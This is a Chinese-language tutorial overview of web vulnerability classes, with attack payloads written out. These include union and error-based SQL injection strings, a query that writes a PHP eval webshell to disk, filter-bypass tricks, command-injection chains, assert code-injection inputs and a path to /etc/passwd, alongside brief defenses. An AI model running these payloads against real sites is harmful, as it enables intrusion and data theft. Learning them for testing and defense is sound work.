0x00
常见的web漏洞分类:
-
SQL注入漏洞
-
文件上传漏洞
-
XSS 跨站脚本攻击
-
CSRF 跨站请求伪造攻击
-
文件包含漏洞
-
命令执行漏洞
-
代码注入攻击
-
逻辑漏洞
0x01
SQL注入漏洞
定义:通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
SQL注入基础-数据库基础:
-
数据库结构
库(database)
表(table)
列/字段(column)
数据(data) -
数据库4大基本语句
增:INSERT INTO 表名 VALUES (值1, 值2,…);
INSERT INTO表名 (列1, 列2,…) VALUES (值1, 值2,…);
删:DELETE FROM 表名 WHERE 条件(列名=值);
改:UPDATE 表名 SET 列名 = 新值 WHERE 条件(列名=值);
查:SELECT 列名 FROM 表名 WHERE 条件(列名=值);
sql注入原理:
SQL注入的分类:
按注入方法分类:
- bool型注入
- 基于时间的注入
- 基于报错的注入
- union注入
- 多语句查询注入
按注入位置分类:
- GET型注入
- POST型注入
- Cookie注入
- UA注入
- Referer注入
- Host注入
按注入是否有回显分类:
- 回显注入
- 盲注
SQL注入-payload:
- bool型注入
select * from news where id = 1 or 1=1;
select * from news where id = 1 and 1=2; - 基于时间的注入
select * from news where id = 1 and sleep(5); - 基于报错的注入
select * from news where id = 1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a); - union注入
select * from news where id = 1 union select 1,2,3; 多语句查询注入
select * from news where id = 1;select 1;
SQL注入-union手注:
information_schema
columns
- table_schema(存放了所有的库名)
- table_name(存放了所有的表名)
- column_name(存放了所有的列名)
- 判断注入点
’ 报错
’ or ‘1’ = '1 正常返回数据
’ and ‘1’ = '2 无返回数据 - 判断当前表列数
’ or 1=1 order by n-- - (二分法) - 查看显示位
’ union select 1,2,3-- -
SQL注入-union手注(MySQL) - 查看mysql基础信息
’ union select 1, CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3-- - - 爆库名
’ union select distinct 1, table_schema,3 from information_schema.columns-- - - 爆表名
‘ union select distinct 1, table_name,3 from information_schema.columns where
table_schema = ‘库1’-- - - 爆列名
’ union select distinct 1, column_name,3 from information_schema.columns where
table_schema = ‘库1’ and table_name = ‘表1’-- - - 爆数据
’ union select 1,concat(列1, 0x23, 列2, 0x23, 列3),3 from 库1.表1-- -
注:concat()函数将多个字符串连接成一个字符串。
SQL注入-盲注:
- 成因及payload
- 相关盲注函数
SQL注入-高级技巧:
当mysql为root用户时,同时知道网站绝对路径,可以直接写文件
-
写文件:
select ‘<?php @eval($_POST[OTF])?>’ into outfile ‘绝对路径/OTF.php’ -
读文件:
select load_file(‘绝对路径/OTF.php’)
SQL注入-防御手段:
- 严格控制数据类型
- 过滤敏感字符,如: ’ 、 " 、 or 、 1=1 等
- 转义特殊字符,如: php的addslashes()函数
- 部署web应用防火墙
SQL注入-防御绕过:
- 空格被过滤的情况:
可尝试使用/**/可代替空格 - and、or被过滤的情况:
可尝试使用&、|可分别代替 and 和 or - select等关键字被过滤的情况:
可尝试大小写混合绕过过滤,如:SeLEcT - 1=1被过滤的情况:
可尝试换其他的恒等式,如:123=123 - =被过滤的情况:
可尝试使用like可代替=
0x02
文件上传漏洞 :
定义: Web应用程序通常会提供一个文件上传功能,如上传头像(jpg文件)、简历(doc、pdf文件)等,若web应用程序未对上传的文件进行限制,或对文件内容进行过滤,攻击者可以上传webshell,获取web应用程序的控制权限
文件上传漏洞-一句话木马原理:
<?php @eval($_POST[‘hack’]); ?> eval():将字符串当做PHP代码执行如:hack=phpinfo(); 等价于 <?php phpinfo(); ?>
文件上传漏洞-解析漏洞:
木马文件就算被成功上传,如果没有被web容器以脚本文件解析执行,也不会对服务器造成威胁 所以,黑客往往在利用文件上传漏洞时,会与web容器的解析漏洞配合使用,以保证上传的恶意代码被成功执行。
- 何为解析漏洞?
每个文件都有固定的解析方式,所有的应用程序都按照文件后缀进行解析,如果一个名为hack.jpg的文件,被服务器当做web脚本语言来执行,那么这就是一个解析漏洞。
文件上传漏洞-IIS6.0 解析漏洞:
- 在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
- 在IIS6.0下,分号后面的不被解析,也就是说 1.asp;.jpg 会被服务器看成是1.asp,就会以asp文件来解析。
文件上传漏洞-Apache 解析漏洞:
- Apache解析漏洞存在于Apache1.x和2.x中
- Apache在解析文件时有一个原则:当碰到不认识的扩展名时,会从后向前解析,直至碰到认识的扩展名为止,若都不认识,会将其以文本文件形式直接打印在web页面上。如:1.php.rar.xss.abc.ccc
文件上传漏洞-PHP CGI 解析漏洞:
- PHP CGI 解析漏洞并不是存在某一特定的web容器中,最初是由国内安全团队80SEC在Nginx中发现,在IIS7.0、IIS7.5中也可以成功利用
- 1.php是并不存在的文件,1.jpg是确实存在的文件
当访问http://www.xxx.com/1.jpg/1.php时,页面返回的是将1.jpg按php解析的结果 - PHP配置文件中有个cgi的配置选项,在某些php版本中会默认开启,此时访问上面的URL,1.php是不存在的文件,php会向前递归解析,于是造成了解析漏洞。
文件上传漏洞-防御与绕过 :
- 无验证
- 前端验证
- 后端验证
mime验证
文件头验证
后缀黑名单验证
后缀白名单验证
基于内容的检测
0x03
XSS 跨站脚本攻击:
定义: 跨站脚本攻击(Cross Site Scripting),攻击者往Web页面里插入恶意的JavaScript代码,当用户浏览该页之时,嵌入其中Web里面的JS代码会被执行,从而达到恶意攻击用户的目的。是一种基于前端的攻击手段。
XSS 跨站脚本攻击基础-cookie机制:
- 出现的基础:HTTP协议是一种无状态的协议,一旦数据交换完毕,客户端与服务器端的连接就会关闭,再次交换数据需要建立新的连接。这就意味着服务器无法从连接上跟踪会话。
- cookie机制就是用来解决这类问题,是会话跟踪的主要实现方式。
客户端发送一个http请求到服务器端
服务器端发送一个http响应到客户端,其中包含Set-Cookie头部
客户端发送一个http请求到服务器端,其中包含Cookie头部
服务器端发送一个http响应到客户端
XSS 跨站脚本攻击基础-前端语言:
前端语言:html、css、js
- html:超文本标记语言,“超文本”就是指页面内可以包含图片、链接,甚至音乐、程序等非文字元素。
<html标签>内容</ html标签> - CSS:层叠样式表,是一种用来表现HTML或XML等文件样式的计算机语言,可以静态地修饰网页,也可以配合各种脚本语言动态地对网页各元素进行格式化。
- JS:JavaScript 是一种直译式脚本语言,是一种脚本语言。它的解释器被称为JavaScript引擎,是浏览器的一部分,广泛用于客户端的脚本语言,最早是在HTML网页上使用,用来给HTML网页增加动态功能。
<script>JS代码</script>
<button type="button" onclick="JS代码">点击这里</button>
XSS 跨站脚本攻击-分类与应用:
- XSS 的分类:
反射型XSS
存储型XSS
DOM型XSS - XSS 的应用:
盗取cookie -> 会话劫持
恶意修改前端显示内容
XSS蠕虫
XSS 跨站脚本攻击-防御手段:
- 严格控制输入与输出
过滤 < 、 > 、 ‘ 、“ 、 & 等字符
过滤script、alert、document、onclick等敏感词的输入与输出
HTML实体化 - 设置cookie httponly属性
0x04
CSRF 跨站请求伪造攻击:
定义: CSRF跨站点请求伪造,攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
CSRF 跨站请求伪造攻击原理:
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
- 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
- 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
- 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
- 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
CSRF 跨站请求伪造攻击-防御: - 验证HTTP Header 的 Referer字段
- 在请求地址中添加 token 并验证
- 在 HTTP 头中自定义属性并验证
0x05
文件包含漏洞:
定义: 程序开发人员通常会把可重复使用的函数写到单个文件中,需要使用这些函数的时候,就可以直接调用,无需再次编写,这种调用文件的方式叫做包含。程序开发人员都希望代码可以更灵活,所以有时会将包含的文件设置为变量,来动态调用;但正因为这种灵活性,导致客户端若调用一个恶意文件,就造成了文件包含漏洞。
文件包含漏洞-函数:
PHP提供了4个文件包含的函数:
include():找不到包含的文件会报warning,脚本继续执行
include_once():与include()效果相同,若文件已被包含,不会再次包含
require():找不到包含的文件会报error,脚本终止执行
require_once ():与require()效果相同,若文件已被包含,不会再次包含
文件包含漏洞-分类:
- 本地文件包含(LFI, Local File Include)
顾名思义,就是文件包含漏洞只能包含本地的文件 - 远程文件包含(RFI, Remote File Include)
文件包含漏洞可以包含一个远程服务器的文件
需要设置php.ini中allow_url_include的值设置为On - 使用php://filter协议
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。
0x06
命令执行漏洞:
定义: 命令执行漏洞一般指远程命令执行(Remote Code Execution)。
执行的命令往往是系统命令(cmd命令或shell命令),所以发现远程代码执行漏洞往往意味着可以直接获取系统权限。
命令执行漏洞一般存在于web中间件中,或是web提供执行系统命令的功能却没有做好安全限制的情况
命令执行漏洞-中间件漏洞:
- Apache Struts2 远程代码执行漏洞
- Oracle Weblogic 远程代码执行漏洞
- Apache Tomcat 远程代码执行漏洞
- Jboss 远程代码执行漏洞
- WebSphere 远程代码执行漏洞
- IIS 远程代码执行漏洞
- Nginx 远程代码执行漏洞
命令执行漏洞-web功能漏洞: - Web提供一个执行系统命令的功能,比如ping、查看某目录文件,后台直接调用系统命令,并未做任何限制,就形成了命令执行漏洞
- 使用 &(Windows系统)或&&(Linux系统)连接两个命令可以先后执行这两个命令
W:ping -n 4 127.0.0.1 & whoami
L:ping -c 4 127.0.0.1 && whoami - 使用||连接两个命令:若第一个命令没有顺利执行会执行第二个命令,若第一个命令执行成功则不会执行第二个命令
ping abc || whoami
0x07
代码注入攻击:
定义: assert函数(断言),与eval函数相似,会将字符串当做代码执行,是非常好用的程序debug函数,但在编码安全中是非常危险的函数。
若assert中的部分字符串是可以由攻击者控制的,那么就可能造成注入攻击。
代码注入实列:
if assert(“strpos('include/ @ ', ‘…’) == true”):
-
@(可等于)= 1’, ‘2’) or PHP代码 or strpos(‘1 或者
12’, ‘1’) and PHP代码and strpos('1 -
@(可等于)=12’, ‘1’) and phpinfo() and strpos('1
-
@(可等于)= 1’, ‘2’) or phpinfo() or strpos('1
-
@(可等于)=…/…/…/…/etc/passwd
die(“黑客攻击”);
0x08
逻辑漏洞:
- “0元购机”漏洞
- 密码重置(找回)漏洞
- 外挂(作弊)原理